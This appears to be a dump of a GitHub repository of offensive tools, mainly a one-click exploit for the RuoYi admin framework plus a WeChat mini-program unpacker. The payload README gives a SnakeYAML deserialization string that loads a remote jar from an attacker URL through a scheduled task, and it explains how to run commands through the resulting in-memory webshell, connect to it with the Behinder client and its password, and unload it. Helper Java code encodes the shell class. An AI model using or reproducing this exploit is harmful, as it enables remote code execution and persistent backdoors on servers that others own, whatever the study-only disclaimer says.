├── README.md
├── ruoyi
├── .gitignore
├── main.py
├── payload
│ ├── .gitignore
│ ├── README.md
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ ├── java
│ │ └── artsploit
│ │ │ ├── AwesomeScriptEngineFactory.java
│ │ │ ├── B64.java
│ │ │ ├── GodzillaUtils.java
│ │ │ └── TestInterceptor.java
│ │ └── resources
│ │ └── META-INF
│ │ └── services
│ │ └── javax.script.ScriptEngineFactory
└── src
│ ├── META-INF
│ └── services
│ │ └── javax.script.ScriptEngineFactory
│ └── artsploit
│ ├── AwesomeScriptEngineFactory.class
│ └── AwesomeScriptEngineFactory.java
└── wxapp
├── decrypt.exe
├── main.py
├── path.txt
├── readme.txt
└── wxappUnpacker
├── DETAILS.md
├── ISSUE_TEMPLATE.md
├── LICENSE
├── README.md
├── bingo.bat
├── bingo.sh
├── node_modules
├── .bin
│ ├── css-beautify
│ ├── css-beautify.cmd
│ ├── css-beautify.ps1
│ ├── cssbeautify
│ ├── cssbeautify.cmd
│ ├── cssbeautify.ps1
│ ├── editorconfig
│ ├── editorconfig.cmd
│ ├── editorconfig.ps1
│ ├── escodegen
│ ├── escodegen.cmd
│ ├── escodegen.ps1
│ ├── esgenerate
│ ├── esgenerate.cmd
│ ├── esgenerate.ps1
│ ├── esparse
│ ├── esparse.cmd
│ ├── esparse.ps1
│ ├── esvalidate
│ ├── esvalidate.cmd
│ ├── esvalidate.ps1
│ ├── html-beautify
│ ├── html-beautify.cmd
│ ├── html-beautify.ps1
│ ├── js-beautify
│ ├── js-beautify.cmd
│ ├── js-beautify.ps1
│ ├── mkdirp
│ ├── mkdirp.cmd
│ ├── mkdirp.ps1
│ ├── nopt
│ ├── nopt.cmd
│ ├── nopt.ps1
│ ├── semver
│ ├── semver.cmd
│ ├── semver.ps1
│ ├── uglifyjs
│ ├── uglifyjs.cmd
│ ├── uglifyjs.ps1
│ ├── vm2
│ ├── vm2.cmd
│ └── vm2.ps1
├── abbrev
│ ├── LICENSE
│ ├── README.md
│ ├── abbrev.js
│ └── package.json
├── balanced-match
│ ├── .npmignore
│ ├── LICENSE.md
│ ├── README.md
│ ├── index.js
│ └── package.json
├── boolbase
│ ├── README.md
│ ├── index.js
│ └── package.json
├── brace-expansion
│ ├── LICENSE
│ ├── README.md
│ ├── index.js
│ └── package.json
├── cheerio-select-tmp
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── helpers.d.ts
│ │ ├── helpers.d.ts.map
│ │ ├── helpers.js
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ ├── positionals.d.ts
│ │ ├── positionals.d.ts.map
│ │ └── positionals.js
│ └── package.json
├── cheerio
│ ├── History.md
│ ├── LICENSE
│ ├── Readme.md
│ ├── index.js
│ ├── lib
│ │ ├── api
│ │ │ ├── attributes.js
│ │ │ ├── css.js
│ │ │ ├── forms.js
│ │ │ ├── manipulation.js
│ │ │ └── traversing.js
│ │ ├── cheerio.js
│ │ ├── options.js
│ │ ├── parse.js
│ │ ├── static.js
│ │ └── utils.js
│ ├── package.json
│ └── types
│ │ └── index.d.ts
├── commander
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── Readme.md
│ ├── index.js
│ ├── package.json
│ └── typings
│ │ └── index.d.ts
├── concat-map
│ ├── .travis.yml
│ ├── LICENSE
│ ├── README.markdown
│ ├── example
│ │ └── map.js
│ ├── index.js
│ ├── package.json
│ └── test
│ │ └── map.js
├── config-chain
│ ├── LICENCE
│ ├── index.js
│ ├── package.json
│ └── readme.markdown
├── css-select
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── attributes.d.ts
│ │ ├── attributes.d.ts.map
│ │ ├── attributes.js
│ │ ├── compile.d.ts
│ │ ├── compile.d.ts.map
│ │ ├── compile.js
│ │ ├── general.d.ts
│ │ ├── general.d.ts.map
│ │ ├── general.js
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ ├── procedure.d.ts
│ │ ├── procedure.d.ts.map
│ │ ├── procedure.js
│ │ ├── pseudo-selectors
│ │ │ ├── filters.d.ts
│ │ │ ├── filters.d.ts.map
│ │ │ ├── filters.js
│ │ │ ├── index.d.ts
│ │ │ ├── index.d.ts.map
│ │ │ ├── index.js
│ │ │ ├── pseudos.d.ts
│ │ │ ├── pseudos.d.ts.map
│ │ │ ├── pseudos.js
│ │ │ ├── subselects.d.ts
│ │ │ ├── subselects.d.ts.map
│ │ │ └── subselects.js
│ │ ├── sort.d.ts
│ │ ├── sort.d.ts.map
│ │ ├── sort.js
│ │ ├── types.d.ts
│ │ ├── types.d.ts.map
│ │ └── types.js
│ └── package.json
├── css-tree
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── data
│ │ ├── index.js
│ │ └── patch.json
│ ├── dist
│ │ ├── csstree.js
│ │ └── csstree.min.js
│ ├── lib
│ │ ├── common
│ │ │ ├── List.js
│ │ │ ├── OffsetToLocation.js
│ │ │ ├── SyntaxError.js
│ │ │ ├── TokenStream.js
│ │ │ └── adopt-buffer.js
│ │ ├── convertor
│ │ │ ├── create.js
│ │ │ └── index.js
│ │ ├── definition-syntax
│ │ │ ├── SyntaxError.js
│ │ │ ├── generate.js
│ │ │ ├── index.js
│ │ │ ├── parse.js
│ │ │ ├── tokenizer.js
│ │ │ └── walk.js
│ │ ├── generator
│ │ │ ├── create.js
│ │ │ ├── index.js
│ │ │ └── sourceMap.js
│ │ ├── index.js
│ │ ├── lexer
│ │ │ ├── Lexer.js
│ │ │ ├── error.js
│ │ │ ├── generic-an-plus-b.js
│ │ │ ├── generic-urange.js
│ │ │ ├── generic.js
│ │ │ ├── index.js
│ │ │ ├── match-graph.js
│ │ │ ├── match.js
│ │ │ ├── prepare-tokens.js
│ │ │ ├── search.js
│ │ │ ├── structure.js
│ │ │ └── trace.js
│ │ ├── parser
│ │ │ ├── create.js
│ │ │ ├── index.js
│ │ │ └── sequence.js
│ │ ├── syntax
│ │ │ ├── atrule
│ │ │ │ ├── font-face.js
│ │ │ │ ├── import.js
│ │ │ │ ├── index.js
│ │ │ │ ├── media.js
│ │ │ │ ├── page.js
│ │ │ │ └── supports.js
│ │ │ ├── config
│ │ │ │ ├── lexer.js
│ │ │ │ ├── mix.js
│ │ │ │ ├── parser.js
│ │ │ │ └── walker.js
│ │ │ ├── create.js
│ │ │ ├── function
│ │ │ │ ├── expression.js
│ │ │ │ └── var.js
│ │ │ ├── index.js
│ │ │ ├── node
│ │ │ │ ├── AnPlusB.js
│ │ │ │ ├── Atrule.js
│ │ │ │ ├── AtrulePrelude.js
│ │ │ │ ├── AttributeSelector.js
│ │ │ │ ├── Block.js
│ │ │ │ ├── Brackets.js
│ │ │ │ ├── CDC.js
│ │ │ │ ├── CDO.js
│ │ │ │ ├── ClassSelector.js
│ │ │ │ ├── Combinator.js
│ │ │ │ ├── Comment.js
│ │ │ │ ├── Declaration.js
│ │ │ │ ├── DeclarationList.js
│ │ │ │ ├── Dimension.js
│ │ │ │ ├── Function.js
│ │ │ │ ├── Hash.js
│ │ │ │ ├── IdSelector.js
│ │ │ │ ├── Identifier.js
│ │ │ │ ├── MediaFeature.js
│ │ │ │ ├── MediaQuery.js
│ │ │ │ ├── MediaQueryList.js
│ │ │ │ ├── Nth.js
│ │ │ │ ├── Number.js
│ │ │ │ ├── Operator.js
│ │ │ │ ├── Parentheses.js
│ │ │ │ ├── Percentage.js
│ │ │ │ ├── PseudoClassSelector.js
│ │ │ │ ├── PseudoElementSelector.js
│ │ │ │ ├── Ratio.js
│ │ │ │ ├── Raw.js
│ │ │ │ ├── Rule.js
│ │ │ │ ├── Selector.js
│ │ │ │ ├── SelectorList.js
│ │ │ │ ├── String.js
│ │ │ │ ├── StyleSheet.js
│ │ │ │ ├── TypeSelector.js
│ │ │ │ ├── UnicodeRange.js
│ │ │ │ ├── Url.js
│ │ │ │ ├── Value.js
│ │ │ │ ├── WhiteSpace.js
│ │ │ │ └── index.js
│ │ │ ├── pseudo
│ │ │ │ ├── common
│ │ │ │ │ ├── nth.js
│ │ │ │ │ ├── nthWithOfClause.js
│ │ │ │ │ └── selectorList.js
│ │ │ │ ├── dir.js
│ │ │ │ ├── has.js
│ │ │ │ ├── index.js
│ │ │ │ ├── lang.js
│ │ │ │ ├── matches.js
│ │ │ │ ├── not.js
│ │ │ │ ├── nth-child.js
│ │ │ │ ├── nth-last-child.js
│ │ │ │ ├── nth-last-of-type.js
│ │ │ │ ├── nth-of-type.js
│ │ │ │ └── slotted.js
│ │ │ └── scope
│ │ │ │ ├── atrulePrelude.js
│ │ │ │ ├── default.js
│ │ │ │ ├── index.js
│ │ │ │ ├── selector.js
│ │ │ │ └── value.js
│ │ ├── tokenizer
│ │ │ ├── char-code-definitions.js
│ │ │ ├── const.js
│ │ │ ├── index.js
│ │ │ └── utils.js
│ │ ├── utils
│ │ │ ├── clone.js
│ │ │ ├── createCustomError.js
│ │ │ └── names.js
│ │ └── walker
│ │ │ ├── create.js
│ │ │ └── index.js
│ └── package.json
├── css-what
│ ├── LICENSE
│ ├── lib
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ ├── parse.d.ts
│ │ ├── parse.d.ts.map
│ │ ├── parse.js
│ │ ├── stringify.d.ts
│ │ ├── stringify.d.ts.map
│ │ └── stringify.js
│ ├── package.json
│ └── readme.md
├── cssbeautify
│ ├── .npmignore
│ ├── CONTRIBUTING.md
│ ├── README.md
│ ├── bin
│ │ └── cssbeautify
│ ├── cssbeautify.js
│ ├── cssbeautify.sublime-project
│ ├── cssbeautify.sublime-workspace
│ └── package.json
├── deep-is
│ ├── .npmignore
│ ├── .travis.yml
│ ├── LICENSE
│ ├── README.markdown
│ ├── example
│ │ └── cmp.js
│ ├── index.js
│ ├── package.json
│ └── test
│ │ ├── NaN.js
│ │ ├── cmp.js
│ │ └── neg-vs-pos-0.js
├── dom-serializer
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── foreignNames.d.ts
│ │ ├── foreignNames.d.ts.map
│ │ ├── foreignNames.js
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ ├── index.test.d.ts
│ │ ├── index.test.d.ts.map
│ │ └── index.test.js
│ └── package.json
├── domelementtype
│ ├── LICENSE
│ ├── lib
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ └── index.js
│ ├── package.json
│ └── readme.md
├── domhandler
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ ├── node.d.ts
│ │ ├── node.d.ts.map
│ │ └── node.js
│ └── package.json
├── domutils
│ ├── LICENSE
│ ├── lib
│ │ ├── helpers.d.ts
│ │ ├── helpers.d.ts.map
│ │ ├── helpers.js
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ ├── legacy.d.ts
│ │ ├── legacy.d.ts.map
│ │ ├── legacy.js
│ │ ├── manipulation.d.ts
│ │ ├── manipulation.d.ts.map
│ │ ├── manipulation.js
│ │ ├── querying.d.ts
│ │ ├── querying.d.ts.map
│ │ ├── querying.js
│ │ ├── stringify.d.ts
│ │ ├── stringify.d.ts.map
│ │ ├── stringify.js
│ │ ├── tagtypes.d.ts
│ │ ├── tagtypes.d.ts.map
│ │ ├── tagtypes.js
│ │ ├── traversal.d.ts
│ │ ├── traversal.d.ts.map
│ │ └── traversal.js
│ ├── package.json
│ └── readme.md
├── editorconfig
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── bin
│ │ └── editorconfig
│ ├── node_modules
│ │ └── commander
│ │ │ ├── CHANGELOG.md
│ │ │ ├── LICENSE
│ │ │ ├── Readme.md
│ │ │ ├── index.js
│ │ │ ├── package.json
│ │ │ └── typings
│ │ │ └── index.d.ts
│ ├── package.json
│ └── src
│ │ ├── cli.d.ts
│ │ ├── cli.js
│ │ ├── index.d.ts
│ │ ├── index.js
│ │ └── lib
│ │ ├── fnmatch.d.ts
│ │ ├── fnmatch.js
│ │ ├── ini.d.ts
│ │ └── ini.js
├── entities
│ ├── LICENSE
│ ├── lib
│ │ ├── decode.d.ts
│ │ ├── decode.d.ts.map
│ │ ├── decode.js
│ │ ├── decode_codepoint.d.ts
│ │ ├── decode_codepoint.d.ts.map
│ │ ├── decode_codepoint.js
│ │ ├── encode.d.ts
│ │ ├── encode.d.ts.map
│ │ ├── encode.js
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ └── maps
│ │ │ ├── decode.json
│ │ │ ├── entities.json
│ │ │ ├── legacy.json
│ │ │ └── xml.json
│ ├── package.json
│ └── readme.md
├── escodegen
│ ├── LICENSE.BSD
│ ├── README.md
│ ├── bin
│ │ ├── escodegen.js
│ │ └── esgenerate.js
│ ├── escodegen.js
│ └── package.json
├── esprima
│ ├── ChangeLog
│ ├── LICENSE.BSD
│ ├── README.md
│ ├── bin
│ │ ├── esparse.js
│ │ └── esvalidate.js
│ ├── dist
│ │ └── esprima.js
│ └── package.json
├── estraverse
│ ├── .jshintrc
│ ├── LICENSE.BSD
│ ├── README.md
│ ├── estraverse.js
│ ├── gulpfile.js
│ └── package.json
├── esutils
│ ├── LICENSE.BSD
│ ├── README.md
│ ├── lib
│ │ ├── ast.js
│ │ ├── code.js
│ │ ├── keyword.js
│ │ └── utils.js
│ └── package.json
├── fast-levenshtein
│ ├── LICENSE.md
│ ├── README.md
│ ├── levenshtein.js
│ └── package.json
├── fs.realpath
│ ├── LICENSE
│ ├── README.md
│ ├── index.js
│ ├── old.js
│ └── package.json
├── glob
│ ├── LICENSE
│ ├── README.md
│ ├── changelog.md
│ ├── common.js
│ ├── glob.js
│ ├── package.json
│ └── sync.js
├── htmlparser2
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── CollectingHandler.d.ts
│ │ ├── CollectingHandler.d.ts.map
│ │ ├── CollectingHandler.js
│ │ ├── FeedHandler.d.ts
│ │ ├── FeedHandler.d.ts.map
│ │ ├── FeedHandler.js
│ │ ├── MultiplexHandler.d.ts
│ │ ├── MultiplexHandler.d.ts.map
│ │ ├── MultiplexHandler.js
│ │ ├── Parser.d.ts
│ │ ├── Parser.d.ts.map
│ │ ├── Parser.js
│ │ ├── Tokenizer.d.ts
│ │ ├── Tokenizer.d.ts.map
│ │ ├── Tokenizer.js
│ │ ├── WritableStream.d.ts
│ │ ├── WritableStream.d.ts.map
│ │ ├── WritableStream.js
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ └── index.js
│ └── package.json
├── inflight
│ ├── LICENSE
│ ├── README.md
│ ├── inflight.js
│ └── package.json
├── inherits
│ ├── LICENSE
│ ├── README.md
│ ├── inherits.js
│ ├── inherits_browser.js
│ └── package.json
├── ini
│ ├── LICENSE
│ ├── README.md
│ ├── ini.js
│ └── package.json
├── js-beautify
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── js
│ │ ├── bin
│ │ │ ├── css-beautify.js
│ │ │ ├── html-beautify.js
│ │ │ └── js-beautify.js
│ │ ├── index.js
│ │ ├── lib
│ │ │ ├── beautifier.js
│ │ │ ├── beautifier.min.js
│ │ │ ├── beautify-css.js
│ │ │ ├── beautify-html.js
│ │ │ ├── beautify.js
│ │ │ ├── cli.js
│ │ │ └── unpackers
│ │ │ │ ├── javascriptobfuscator_unpacker.js
│ │ │ │ ├── myobfuscate_unpacker.js
│ │ │ │ ├── p_a_c_k_e_r_unpacker.js
│ │ │ │ └── urlencode_unpacker.js
│ │ └── src
│ │ │ ├── cli.js
│ │ │ ├── core
│ │ │ ├── directives.js
│ │ │ ├── inputscanner.js
│ │ │ ├── options.js
│ │ │ ├── output.js
│ │ │ ├── pattern.js
│ │ │ ├── templatablepattern.js
│ │ │ ├── token.js
│ │ │ ├── tokenizer.js
│ │ │ ├── tokenstream.js
│ │ │ └── whitespacepattern.js
│ │ │ ├── css
│ │ │ ├── beautifier.js
│ │ │ ├── index.js
│ │ │ ├── options.js
│ │ │ └── tokenizer.js
│ │ │ ├── html
│ │ │ ├── beautifier.js
│ │ │ ├── index.js
│ │ │ ├── options.js
│ │ │ └── tokenizer.js
│ │ │ ├── index.js
│ │ │ ├── javascript
│ │ │ ├── acorn.js
│ │ │ ├── beautifier.js
│ │ │ ├── index.js
│ │ │ ├── options.js
│ │ │ └── tokenizer.js
│ │ │ └── unpackers
│ │ │ ├── javascriptobfuscator_unpacker.js
│ │ │ ├── myobfuscate_unpacker.js
│ │ │ ├── p_a_c_k_e_r_unpacker.js
│ │ │ └── urlencode_unpacker.js
│ └── package.json
├── levn
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── cast.js
│ │ ├── coerce.js
│ │ ├── index.js
│ │ ├── parse-string.js
│ │ └── parse.js
│ └── package.json
├── lru-cache
│ ├── LICENSE
│ ├── README.md
│ ├── index.js
│ └── package.json
├── mdn-data
│ ├── LICENSE
│ ├── README.md
│ ├── api
│ │ ├── index.js
│ │ ├── inheritance.json
│ │ └── inheritance.schema.json
│ ├── css
│ │ ├── at-rules.json
│ │ ├── at-rules.schema.json
│ │ ├── definitions.json
│ │ ├── index.js
│ │ ├── properties.json
│ │ ├── properties.schema.json
│ │ ├── selectors.json
│ │ ├── selectors.schema.json
│ │ ├── syntaxes.json
│ │ ├── syntaxes.schema.json
│ │ ├── types.json
│ │ ├── types.schema.json
│ │ ├── units.json
│ │ └── units.schema.json
│ ├── index.js
│ ├── l10n
│ │ ├── css.json
│ │ └── index.js
│ └── package.json
├── minimatch
│ ├── LICENSE
│ ├── README.md
│ ├── minimatch.js
│ └── package.json
├── mkdirp
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── bin
│ │ └── cmd.js
│ ├── index.js
│ ├── lib
│ │ ├── find-made.js
│ │ ├── mkdirp-manual.js
│ │ ├── mkdirp-native.js
│ │ ├── opts-arg.js
│ │ ├── path-arg.js
│ │ └── use-native.js
│ ├── package.json
│ └── readme.markdown
├── nopt
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── bin
│ │ └── nopt.js
│ ├── lib
│ │ └── nopt.js
│ └── package.json
├── nth-check
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── compile.d.ts
│ │ ├── compile.d.ts.map
│ │ ├── compile.js
│ │ ├── index.d.ts
│ │ ├── index.d.ts.map
│ │ ├── index.js
│ │ ├── parse.d.ts
│ │ ├── parse.d.ts.map
│ │ └── parse.js
│ └── package.json
├── once
│ ├── LICENSE
│ ├── README.md
│ ├── once.js
│ └── package.json
├── optionator
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── help.js
│ │ ├── index.js
│ │ └── util.js
│ └── package.json
├── parse5-htmlparser2-tree-adapter
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ └── index.js
│ └── package.json
├── parse5
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── common
│ │ │ ├── doctype.js
│ │ │ ├── error-codes.js
│ │ │ ├── foreign-content.js
│ │ │ ├── html.js
│ │ │ └── unicode.js
│ │ ├── extensions
│ │ │ ├── error-reporting
│ │ │ │ ├── mixin-base.js
│ │ │ │ ├── parser-mixin.js
│ │ │ │ ├── preprocessor-mixin.js
│ │ │ │ └── tokenizer-mixin.js
│ │ │ ├── location-info
│ │ │ │ ├── open-element-stack-mixin.js
│ │ │ │ ├── parser-mixin.js
│ │ │ │ └── tokenizer-mixin.js
│ │ │ └── position-tracking
│ │ │ │ └── preprocessor-mixin.js
│ │ ├── index.js
│ │ ├── parser
│ │ │ ├── formatting-element-list.js
│ │ │ ├── index.js
│ │ │ └── open-element-stack.js
│ │ ├── serializer
│ │ │ └── index.js
│ │ ├── tokenizer
│ │ │ ├── index.js
│ │ │ ├── named-entity-data.js
│ │ │ └── preprocessor.js
│ │ ├── tree-adapters
│ │ │ └── default.js
│ │ └── utils
│ │ │ ├── merge-options.js
│ │ │ └── mixin.js
│ └── package.json
├── path-is-absolute
│ ├── index.js
│ ├── license
│ ├── package.json
│ └── readme.md
├── prelude-ls
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── Func.js
│ │ ├── List.js
│ │ ├── Num.js
│ │ ├── Obj.js
│ │ ├── Str.js
│ │ └── index.js
│ └── package.json
├── proto-list
│ ├── LICENSE
│ ├── README.md
│ ├── package.json
│ ├── proto-list.js
│ └── test
│ │ └── basic.js
├── pseudomap
│ ├── LICENSE
│ ├── README.md
│ ├── map.js
│ ├── package.json
│ ├── pseudomap.js
│ └── test
│ │ └── basic.js
├── semver
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── bin
│ │ └── semver
│ ├── package.json
│ ├── range.bnf
│ └── semver.js
├── sigmund
│ ├── LICENSE
│ ├── README.md
│ ├── bench.js
│ ├── package.json
│ ├── sigmund.js
│ └── test
│ │ └── basic.js
├── source-map
│ ├── CHANGELOG.md
│ ├── LICENSE
│ ├── README.md
│ ├── dist
│ │ ├── source-map.debug.js
│ │ ├── source-map.js
│ │ ├── source-map.min.js
│ │ └── source-map.min.js.map
│ ├── lib
│ │ ├── array-set.js
│ │ ├── base64-vlq.js
│ │ ├── base64.js
│ │ ├── binary-search.js
│ │ ├── mapping-list.js
│ │ ├── quick-sort.js
│ │ ├── source-map-consumer.js
│ │ ├── source-map-generator.js
│ │ ├── source-node.js
│ │ └── util.js
│ ├── package.json
│ ├── source-map.d.ts
│ └── source-map.js
├── type-check
│ ├── LICENSE
│ ├── README.md
│ ├── lib
│ │ ├── check.js
│ │ ├── index.js
│ │ └── parse-type.js
│ └── package.json
├── uglify-es
│ ├── LICENSE
│ ├── README.md
│ ├── bin
│ │ └── uglifyjs
│ ├── lib
│ │ ├── ast.js
│ │ ├── compress.js
│ │ ├── minify.js
│ │ ├── mozilla-ast.js
│ │ ├── output.js
│ │ ├── parse.js
│ │ ├── propmangle.js
│ │ ├── scope.js
│ │ ├── sourcemap.js
│ │ ├── transform.js
│ │ └── utils.js
│ ├── package.json
│ └── tools
│ │ ├── domprops.json
│ │ ├── exit.js
│ │ ├── exports.js
│ │ ├── node.js
│ │ └── props.html
├── vm2
│ ├── .eslintignore
│ ├── .eslintrc.js
│ ├── CHANGELOG.md
│ ├── LICENSE.md
│ ├── README.md
│ ├── bin
│ │ └── vm2
│ ├── index.d.ts
│ ├── index.js
│ ├── lib
│ │ ├── cli.js
│ │ ├── contextify.js
│ │ ├── fixasync.js
│ │ ├── helpers.js
│ │ ├── main.js
│ │ └── sandbox.js
│ └── package.json
├── word-wrap
│ ├── LICENSE
│ ├── README.md
│ ├── index.d.ts
│ ├── index.js
│ └── package.json
├── wrappy
│ ├── LICENSE
│ ├── README.md
│ ├── package.json
│ └── wrappy.js
└── yallist
│ ├── LICENSE
│ ├── README.md
│ ├── iterator.js
│ ├── package.json
│ └── yallist.js
├── package-lock.json
├── package.json
├── wuConfig.js
├── wuJs.js
├── wuLib.js
├── wuRestoreZ.js
├── wuWxapkg.js
├── wuWxml.js
└── wuWxss.js
/README.md:
--------------------------------------------------------------------------------
1 | # PyBy2
2 |
3 | ## 项目介绍
4 | ### PyBy--谐音(开摆)。目的是为了更简单,更方便。
5 | ### 持续对一些工具进行一些修改。使其更简单,更方便。
6 | ### 表哥的start是我坚持的动力。
7 | ### 使用过程中存在任何问题请联系--支持更新。
8 | ### 联系方式:首页公众号
9 |
10 | # ruoyi
11 |
12 | ```
13 | 对若依后台计划任务的jar包生成改写成一键利用。
14 | ```
15 | ### 利用方式
16 | ```
17 | 利用python进行生成。本地要有javac和jar的环境变量。
18 | ```
19 | ```
20 | python3 main.py ip port
21 | ```
22 |
23 |
24 | ```
25 | 附带使用方式
26 | ```
27 |
28 |
29 |
30 | # wxapp
31 |
32 | ```
33 | 微信小程序_一健化工具_支持分包
34 | ```
35 | ## 详细使用方法,可参考b站视频
36 | ```
37 | https://www.bilibili.com/video/BV1QK411B7ST/?vd_source=cf1ca615cd7585ca648b5c5cbeaacb82
38 | ```
39 | ### 利用方式
40 | ```
41 | 本地安装好反编译需要的环境--百度文章很多
42 | ```
43 | ```
44 | path.txt放入微信小程序的路径
45 | python3 main.py wxid
46 | ```
47 | 
48 |
49 |
--------------------------------------------------------------------------------
/ruoyi/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/*
2 | ./out/*
3 | ./yaml-payload.jar
4 | ./yaml-payload.yml
--------------------------------------------------------------------------------
/ruoyi/payload/.gitignore:
--------------------------------------------------------------------------------
1 | /target/
2 |
--------------------------------------------------------------------------------
/ruoyi/payload/README.md:
--------------------------------------------------------------------------------
1 | # yaml-payload-for-ruoyi
2 | **分析文章**
3 |
4 | https://xz.aliyun.com/t/10651
5 |
6 | **注入方法:**
7 | 把jar放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可
8 | ```java
9 | org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')
10 | ```
11 | 
12 |
13 | 若依 snakeyaml 反序列化漏洞注入内存马
14 |
15 | **RuoYi**
16 | 1. 直接执行命令:?cmd=whoami
17 | 2. 连接冰蝎:/login?cmd=1(cmd不为空即可),密码为rebeyond,使用冰蝎正常连接即可
18 | 3. 卸载内存马:?cmd=delete
19 |
20 | 
21 | **RuoYi Vue**
22 |
23 | 1. 直接执行命令:`/dev-api/?cmd=whoami`
24 | 2. 连接冰蝎:暂不支持
25 | 3. 卸载内存马:`/dev-api/?cmd=delete`
26 |
27 |
28 |
29 | **项目仅供学习使用,任何未授权检测造成的直接或者间接的后果及损失,均由使用者本人负责**
30 |
--------------------------------------------------------------------------------
/ruoyi/payload/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | groupId
8 | yaml-payload-for-ruoyi
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 |
15 |
16 |
17 |
18 | org.springframework.boot
19 | spring-boot-dependencies
20 | 2.2.13.RELEASE
21 | pom
22 | import
23 |
24 |
25 |
26 | org.springframework.boot
27 | spring-boot-starter-web
28 | 2.2.13.RELEASE
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/ruoyi/payload/src/main/java/artsploit/B64.java:
--------------------------------------------------------------------------------
1 | package artsploit;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 | import java.util.zip.GZIPOutputStream;
7 |
8 | public class B64 {
9 | public static void main(String[] args) throws IOException {
10 | InputStream in = B64.class.getClassLoader().getResourceAsStream("artsploit/TestInterceptor.class");
11 | byte[] bytes = new byte[in.available()];
12 | in.read(bytes);
13 | // 将字节压缩下
14 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
15 | GZIPOutputStream gzipOutputStream=new GZIPOutputStream(byteArrayOutputStream);
16 | gzipOutputStream.write(bytes);
17 | gzipOutputStream.close();
18 | System.out.println(java.util.Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/ruoyi/payload/src/main/resources/META-INF/services/javax.script.ScriptEngineFactory:
--------------------------------------------------------------------------------
1 | artsploit.AwesomeScriptEngineFactory
--------------------------------------------------------------------------------
/ruoyi/src/META-INF/services/javax.script.ScriptEngineFactory:
--------------------------------------------------------------------------------
1 | artsploit.AwesomeScriptEngineFactory
2 |
--------------------------------------------------------------------------------
/ruoyi/src/artsploit/AwesomeScriptEngineFactory.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/G0mini/PyBy2/63548cee0844b5420d25f712f4249f1be3488cf9/ruoyi/src/artsploit/AwesomeScriptEngineFactory.class
--------------------------------------------------------------------------------
/wxapp/decrypt.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/G0mini/PyBy2/63548cee0844b5420d25f712f4249f1be3488cf9/wxapp/decrypt.exe
--------------------------------------------------------------------------------
/wxapp/path.txt:
--------------------------------------------------------------------------------
1 | 小程序安装路径
--------------------------------------------------------------------------------
/wxapp/readme.txt:
--------------------------------------------------------------------------------
1 | path.txt 小程序安装路径
2 | 创建一个目录 new_dec
3 | 使用方法:
4 | python main.py wxid
5 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | 发表 Issue 前请仔细阅读以下内容:
2 |
3 | 1. 如果你是要反馈 bug, 请按以下`模板`书写 Issue;
4 | 2. 如果你遇到的是 Node.js 使用问题, 请尽可能依赖搜索引擎解决问题;
5 | 3. 遇到包依赖问题,请联系对应项目;
6 | 4. 任何对某类小程序包的适配问题都应提供 wxapkg 程序包,否则直接 Close 处理;
7 | 5. 提交前请确认 wxapkg 程序包版本不小于 v0.6vv_20180111_fbi (直接用文本编辑器打开 wxapkg包搜索 v0.6vv 或 v0.5vv 即可查到,注意版本大小主要比较的是日期), 旧版本不提供支持, 相关 Issue 直接 Close 处理;
8 | 6. 直接分包和直接处理含插件的包两个功能暂不支持, 请勿重复发表 Issue, 新样例可在已存在的 Issue 下提出;
9 | 7. 请不要在其他 Issue 下发表与该 Issue 无关的回复, 否则将有可能被删除。
10 |
11 | 模板内容如下:
12 |
13 | 程序执行命令(可选):
14 |
15 | 程序执行错误信息(如果反馈是抛出异常的错误,必填):
16 |
17 | ```
18 | 复制到这里
19 | ```
20 |
21 | 程序结果错误信息(如果反馈不是抛出异常的错误, 必填, 请尽可能详细描述):
22 |
